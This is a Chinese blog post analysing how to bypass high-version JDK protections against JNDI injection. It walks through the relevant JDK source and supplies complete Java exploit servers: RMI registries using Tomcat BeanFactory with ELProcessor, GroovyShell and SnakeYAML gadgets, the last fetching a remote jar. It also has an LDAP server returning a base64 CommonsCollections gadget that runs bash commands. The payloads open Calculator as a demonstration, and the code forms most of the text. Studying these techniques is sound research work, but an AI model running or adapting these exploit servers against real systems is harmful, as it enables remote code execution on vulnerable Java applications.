绕过高版本JDK限制进行JNDI注入

绕过高版本JDK限制进行JNDI注入

Posted by SEVENTEEN on April 1, 2022

前言

   前面分析了JNDI注入的过程,这次来分析一下绕过高版本jdk限制的思路。

绕过JDK高版本限制

   在JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK中,默认环境下之前这些利用方式都已经失效。

   所以需要进行绕过,有两种绕过方法:

1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

利用本地Class作为Reference Factory

   因为多了上面的限制,所以不能从远程加载恶意的Factory。 但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。 工厂类必须实现javax.naming.spi.ObjectFactory接口,并且至少存在一个getObjectInstance()方法。 Tomcat依赖包中的org.apache.naming.factory.BeanFactory刚好满足条件并且存在被利用的可能。

   org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class, 并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

   但org.apache.naming.factory.BeanFactory需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。

   知道大概的原理后,来跟一下代码,首先看到上面限制的地方,这里除了获取!trustURLCodebase的值,还&&两个条件。 所以只要另外两个不为true即可实现绕过。这里可以看到var8.getFactoryClassLocation() != null这个条件是false,来向上调试看看。

   可以看到这里var8是var3,而var3根据第一行中的条件可以看出是((RemoteReference)var1).getReference()的值。 所以,关注一下传入decodeObject方法的第一个参数。

   跟随变量流入的方向,可以看到最初是从this.registry.lookup(var1.get(0))获取的,所以跟进一下。

   从return的地方向上看,可以看出这个lookup方法其实就是从我们恶意服务器获取stub信息, 然后在decodeObject方法中通过getReference()方法去获取ResourceRef类。

   接下来来看一下payload中是怎么构造的,才可以让var8.getFactoryClassLocation()为空。 可以看到最后一个参数为null,最后一个参数根据idea显示是factoryLocation参数,使得var8.getFactoryClassLocation()为空。

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassCodebase {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory,最后一个参数是factoryLocation,为空时即可使得var8.getFactoryClassLocation()为空。
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // BeanFactory.getObjectInstance 代码中获取forceString的值截取等于号后的内容作为调用的方法
        ref.add(new StringRefAddr("forceString", "pwn=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("pwn", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilObject", referenceWrapper);
    }
}

   既然不能从远程获取恶意的Factory类,那么是如何达到rce的呢,这里跟进getObjectInstance方法。

   如果按照之前没有jdk限制的利用流程,会走到getObjectFactoryFromReference中, 通过helper.loadClass(factoryName, codebase)加载恶意类然后调用clas.newInstance()实例化远程加载的恶意类。 但因为我们通过var8.getFactoryClassLocation()为空绕过了jdk限制,导致图中画出来的地方不满足条件无法加载恶意类,从而无法利用。

   这里虽然不能加载恶意类,但可以利用下面的getObjectInstance方法来创建工厂类。 同时需要在getObjectInstance方法中想办法执行我们的代码。

   跟进到org.apache.naming.factory.BeanFactory类中查看getObjectInstance方法。 可以看到加载了javax.el.ELProcessor类。

   重点放在80行beanClass.getMethod(propName, paramTypes)的两个参数, paramTypes为第一个参数调用方法的参数类型。而propName由forceString的值经过param.indexOf(61)对=进行截断后,取后半部分获取。 所以,forceString在exp中可以设置成{任意不含,和=的字符串}=eval。之后便调获取javax.el.ELProcessor中的eval方法。

   接下来就是反射调用获取到的eval方法,并向里面传入构造的恶意表达式,这也是第二个ref.add添加的内容, 恶意表达式通过(String)ra.getContent()获取并传入到valueArray数组内,传参反射调用eval方法执行恶意代码。

   有了上面的思路,我们可以自己更改跟getObjectInstance方法加载的恶意类。 只要找可以传一个String参数就能RCE的方法并且在比较常见依赖库里的类,这里选择使用groovy.lang.GroovyShell#evaluate。

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassCodebase2 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory,最后一个参数是factoryLocation,为空时即可使得var8.getFactoryClassLocation()为空。
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // BeanFactory.getObjectInstance 代码中获取forceString的值截取等于号后的内容作为调用的方法
        ref.add(new StringRefAddr("forceString", "pwn=evaluate"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("pwn", "\"open /System/Applications/Calculator.app\".execute()"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilObject", referenceWrapper);
    }
}

   同时,也可以利用org.yaml.snakeyaml.Yaml()#load远程加载恶意jar包。下面这个链接是yaml恶意jar包生成的工具。

https://github.com/artsploit/yaml-payload
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassCodebase3 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory,最后一个参数是factoryLocation,为空时即可使得var8.getFactoryClassLocation()为空。
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // yaml payload
        String yaml = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        // BeanFactory.getObjectInstance 代码中获取forceString的值截取等于号后的内容作为调用的方法
        ref.add(new StringRefAddr("forceString", "pwn=load"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("pwn", yaml));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilObject", referenceWrapper);
    }
}

利用LDAP返回序列化数据

   LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。 通过构造恶意反序列化内容触发本地Gadget绕过高版本JDK的限制,所以需要本地存在Gadget才可以利用。

   首先来到客户端的lookup打断点。

   跟前面的差不多,进入lookup方法。

   继续调用lookup方法。

   再次调用lookup方法。

   重点的地方开始来了,从这里调用了p_lookup方法。

   接着在switch条件中进入case 2调用c_lookup方法。

   在c_lookup方法中,可以看到这里通过doSearchOnce方法获取ldap的内容。 之后将获取到的序列化数据传入decodeObject方法中,需要注意的是这里需要先经过一个if判断Attribute,所以payload构造了e.addAttribute来进行绕过。

   进入到decodeObject方法中,这里在调用deserializeObject之前,又进行了一次Attribute判断, 所以payload才会构造两次e.addAttribute。之后便进入decodeObject方法中进行反序列化。

LdapBypass

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LdapBypass {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1099;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */

        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }

            // 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AF1iYXNoIC1jIHtlY2hvLGIzQmxiaUF2VTNsemRHVnRMMEZ3Y0d4cFkyRjBhVzl1Y3k5RFlXeGpkV3hoZEc5eUxtRndjQT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA=="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

There Is Nothing Below

   

Turn at the next intersection.